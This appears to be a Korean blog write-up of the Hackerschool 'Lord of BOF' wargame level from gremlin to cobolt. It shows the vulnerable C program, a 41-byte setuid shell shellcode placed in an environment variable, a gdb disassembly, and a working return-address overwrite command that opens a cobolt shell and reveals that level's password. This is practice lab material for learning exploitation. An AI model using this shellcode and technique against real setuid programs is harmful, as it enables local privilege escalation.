[lob] 해커스쿨 gremlin -> cobolt 풀이

l 해커스쿨 gremlin 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

 

 

 

gremlin 문제의 아이디인  gremlin 와 password인   hello bof world 을 입력하여 gremlin의 유저로 접속합니다.

 

 

 

[gremlin@localhost gremlin]$ ls -l
total 16
-rwsr-sr-x    1 cobolt   cobolt      11970 Feb 26  2010 cobolt
-rw-r--r--    1 gremlin  gremlin       291 Mar 29  2010 cobolt.c

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/gremlin ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[gremlin@localhost gremlin]$ cat cobolt.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

 

 

 

cat 명령어를 사용하여 cobolt.c 파일을 확인해본 결과 위의 코드를 볼 수 있습니다.

 

주석 처리된 부분에 BOF라고 쓰여있는 것을 보아 버퍼오버플로우 문제라는 것을 알 수 있습니다.

힌트 코드를 보니 buffer의 크기가 16byte 밖에 안 되는 것을 볼 수 있습니다. setuid가 포함된 셸 코드는 41byte이기 때문에 buffer 내에 넣을 수 없습니다. 따라서 환경 변수를 이용해 문제를 풀어보도록 하겠습니다.

 

 

 

[gremlin@localhost gremlin]$ bash2
[gremlin@localhost gremlin]$ export EGG=`python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[gremlin@localhost gremlin]$ echo 'int main(){ printf("ADDR : 0x%x\n",getenv("EGG"));}' > getenv.c
[gremlin@localhost gremlin]$ gcc -o getenv getenv.c
[gremlin@localhost gremlin]$ ./getenv
ADDR : 0xbffffe3e

 

 

 

bash2를 입력 후 41바이트의 셸 코드를 넣어주었습니다. 그 후 셸 코드의 주소를 확인해보니 0xbffffe3e인 것을 알 수 있습니다.

 

 

 

[gremlin@localhost gremlin]$ gdb gremlin
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>
:       push   %ebp 
0x8048431 <main+1>:     mov    %esp,%ebp
0x8048433 <main+3>:     sub    $0x10,%esp
0x8048436 <main+6>:     cmpl   $0x1,0x8(%ebp)
0x804843a <main+10>:    jg     0x8048453 <main+35>
0x804843c <main+12>:    push   $0x80484d0
0x8048441 <main+17>:    call   0x8048350  <printf>
0x8048446 <main+22>:    add    $0x4,%esp
0x8048449 <main+25>:    push   $0x0
0x804844b <main+27>:    call   0x8048360  <exit>
0x8048450 <main+32>:    add    $0x4,%esp
0x8048453 <main+35>:    mov    0xc(%ebp),%eax
0x8048456 <main+38>:    add    $0x4,%eax
0x8048459 <main+41>:    mov    (%eax),%edx
0x804845b <main+43>:    push   %edx
0x804845c <main+44>:    lea    0xfffffff0(%ebp),%eax
0x804845f <main+47>:    push   %eax
0x8048460 <main+48>:    call   0x8048370  <strcpy>
0x8048465 <main+53>:    add    $0x8,%esp
0x8048468 <main+56>:    lea    0xfffffff0(%ebp),%eax
0x804846b <main+59>:    push   %eax
0x804846c <main+60>:    push   $0x80484dc
0x8048471 <main+65>:    call   0x8048350  <printf>
0x8048476 <main+70>:    add    $0x8,%esp
0x8048479 <main+73>:    leave
0x804847a <main+74>:    ret
0x804847b <main+75>:    nop
0x804847c <main+76>:    nop
0x804847d <main+77>:    nop
0x804847e <main+78>:    nop
0x804847f <main+79>:    nop
End of assembler dump.

 

 

 

gremlin 파일을 gdb로 분석해보도록 하겠습니다. 

disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 여기서 빨간색 부분을 집중해서 보도록 할 것입니다.

 

 

 

 

 

 

1. 0x8048433 <main+3>:     sub    $0x10,%esp

0x10을 십진수로 바꾸면 16입니다. 스택에 16byte를 할당한다는 의미입니다.

 

 

2. 0x804845c <main+44>:    lea    0xfffffff0(%ebp),%eax

strcpy 안에 인자로 buffer와 argv[1]이 들어갑니다. 스택에 들어가는 순서는 argv[1], buffer 순서이기 때문에 뒤에 push 되는 %eax가 buffer의 시작 지점입니다. 따라서 ebp - [0xfffffff0의 2의 보수한 값]이 buffer의 시작 지점이 됩니다.

 

0000 => 1111 => 10000 = 16

buffer는 ebp - 16에서 시작합니다.

 

 

메모리 구조를 그리면 아래와 같습니다.

 

 

 

 

그럼 이제 페이로드를 구성해보도록 하겠습니다. buffer의 시작점이 ebp - 16이기 때문에 sfp까지 20byte를 \x90으로 채워주고 return 부분을 위에서 나온 환경 변수의 주소로 채워주면 될 것입니다.

 

 

 

| 페이로드

./cobolt `python -c 'print "\x90"*20+"\x3e\xfe\xff\xbf"'`

 

 

 

[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "\x90"*20+"\x3e\xfe\xff\xbf"'`
>þÿ¿
bash$ id
uid=502(cobolt) gid=501(gremlin) egid=502(cobolt) groups=501(gremlin)
bash$ my-pass
euid = 502
hacking exposed

 

 

 

위의 페이로드 입력 후 id 명령 입력 시 uid가 cobolt로 나오는 것을 확인할 수 있습니다. 그 후 my-pass를 입력하면 cobolt 계정의 password가 나오게 됩니다.

 

 

 

 

l cobolt 비밀번호

더보기

euid = 502 
hacking exposed

 

이 글을 공유하기

댓글

Designed by JB FACTORY